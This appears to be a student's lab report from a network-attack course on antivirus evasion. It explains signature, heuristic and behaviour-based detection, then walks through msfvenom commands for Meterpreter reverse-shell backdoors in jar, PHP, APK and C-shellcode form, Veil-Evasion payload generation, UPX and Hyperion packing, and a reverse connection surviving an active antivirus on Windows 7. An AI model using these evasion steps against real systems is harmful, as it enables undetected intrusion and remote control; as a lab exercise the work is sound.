2020-2021-2 网络对抗技术 20181321 Exp3 免杀原理与实践

2020-2021-2 网络对抗技术 20181321 Exp3 免杀原理与实践

一、免杀原理及基础问题回答

1、免杀原理

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

2、基础问题回答

  • (1)杀软是如何检测出恶意代码的?
  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。
  • 启发式恶意软件检测:一种根据片面特征去判断是否为恶意代码的方法。这种方法可以检测0day恶意软件,具有一定的通用性;但是其实时监控系统行为开销稍多,没有基于特征码的精确度高。
  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
  • (2)免杀是做什么?
  • 免杀,也就是反病毒与反间谍的对立面,是一种“反杀毒技术”,即通过各种方法对恶意软件或恶意代码进行“包装”,使其不被各种杀毒软件和防火墙发现。与此同时,免杀也是渗透测试中需要使用到的技术。
  • (3)免杀的基本方法有哪些?
  • 1.改变特征码:
    如果手里只有exe
    加壳:压缩壳、加密壳
    有shellcode(如Meterpreter):
    用encode进行编码
    基于payload重新编译生成可执行文件
    有源代码:
    用其他语言进行重新编写
  • 2.改变行为
    通讯方式
    尽量使用反弹式连接
    使用隧道技术
    加密通讯数据
    操作模式
    基于内存操作
    减少对系统的修改
    加入混淆作用的正常功能代码
  • 3.非常规方法
    使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
    使用社工类攻击,诱骗目标关闭AV软件
    纯手工打造一个恶意软件

二、实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1.使用msf编码器,生成exe文件(这里使用实验二的后门程序)

  • 在使用VIirusTotal或者Virscan两个网站对恒星进行扫描(我使用VirusTotal)

  • 扫描结果

2.msfvenom生成jar文件

  • 生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 x> qyl_backdoor_java.jar

  • 扫描结果:

3.msfvenom生成php文件

  • 生成PHP后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.133 LPORT=8181 x> 20181321_backdoor.php

  • 扫描结果:

虚拟机崩溃了,用另外一台虚拟机了,所以后面的IP地址和端口都变了

4.msfvenom生成Android后门apk文件

  • 生成Android后门apk文件使用命令

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.231.255 LPORT=1321 x> 20181321_android_backdoor.ap

  • 扫描结果:

5.安装vei

  • 经历了许多磨难以及很多方法,终于安装成功了。参考了许多学长学姐的博客。

  • 在终端先输入命令

    mkdir -p ~/.cache/wine
    cd ~/.cache/wine
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

  • 然后输入以下命令

    sudo apt-get install libncurses5*
    sudo apt-get install libavutil55*
    sudo apt-get install gcc-mingw-w64*
    sudo apt-get install wine32
    sudo apt-get update

  • 一般会在instal wine32出现问题,无法安装。此时输入命令

    dpkg --add-architecture i386

    再进行wine32的安装

  • 安装veil ,apt-get install veil

  • 输入以下命令,再setup.sh文件的第251行把下载地址换成https://gitee.com/spears/VeilDependencies.git。

    sudo su

    cd /usr/share/veil/config/

    vim setup.sh

  • 然后运行veil进行安装。

6.用veil生成后门程序

  • 输入veil

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.231.255,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT 1321

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_1321

  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_1321.exe

  • 扫描结果:

7.使用C+shellcode生成程序

  • 输入命令生成一段shellcode。

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.231.255 LPORT=1321 -f c

  • 复制这段shellcode,新建C程序20181321.c

  • 使用命令i686-w64-mingw32-g++ 20181321.c -o 20181321.exe将c程序编译为可执行文件

  • 扫描结果:

8.压缩壳UPX

  • 直接对上一个任务中生成的exe加壳,使用命令upx 20181321.exe -o upxed_20181321.exe

  • 扫描结果:

  • 传输再到window,被查杀。

9.加密壳Hyperion

  • 将上一个生成的文件拷贝至/usr/share/windows-resources/hyperion,并进入该目录

    (找不到的话,可以运行下面命令找到hyperion的位置)

    sudo apt-get install hyperion

    sudo apt-get install locate

    locate -n 30 hyperion

  • 输入命令wine hyperion.exe -v upxed_20181321.exe upxed_20181321_hyperion.exe

  • 扫描结果:

任务二:通过组合应用各种技术实现恶意代码免杀

1.用C+shellcode+压缩+加密

  • 这个是我们实验要求的加密,然后发现还是会被查杀,可能是我门使用的后门程序太low了,所以会被查杀,为了使用我们的后门程序,我使用了10版的电脑管家,发现可以运行没有被查杀。

  • 然后通过实验的操作进行监听,然后获得window的控制权

2.使用工具shellcode_launcher进行免杀实践

  • 先用Msfvenom生成raw格式的shellcode msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.231.255 lport=1321 -f raw -o 1321.raw

  • 通过nc传输没有被查杀。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 用Msfvenom生成raw格式的shellcode,(任务2的程序)

  • kali使用msfconsole监听

  • 我方在Windows中运行1321.raw文件

  • 系统:window 7 杀软:电脑管家 版本:10.15.19753,231

实验遇到的问题及解决方法

  • 在本次实验中,遇到的问题最大就是veil的安装,参考了各种博客,找到了最适合自己虚拟机的方法,在上面博客中已经写了解决方法。
  • 我发现同样的软件,不同的杀毒软件查出来的问题不同,后来发现是由于不同的杀毒软件病毒库不完全相同,杀毒引擎也不一样,并且,不同软件检测恶意代码的方式也不尽相同,这就造成了杀软结果的差别,同时也就造成了有的杀毒软件能查杀,有的不能。(不得不说360真的强)

实验总结与体会

  • 本次实验是在上次后门实验的基础上的进阶,需要我们熟练掌握和运用后门技术,在实验过程中,我了解了免杀的概念、免杀的基本方法,能够熟练使用VirusTotal、Virscan等工具,能够有条理、有目的的对后门动手实现一些免杀的处理。在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有被检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。
posted @ 2021-04-05 12:46  QBLL  阅读(247)  评论(0编辑  收藏  举报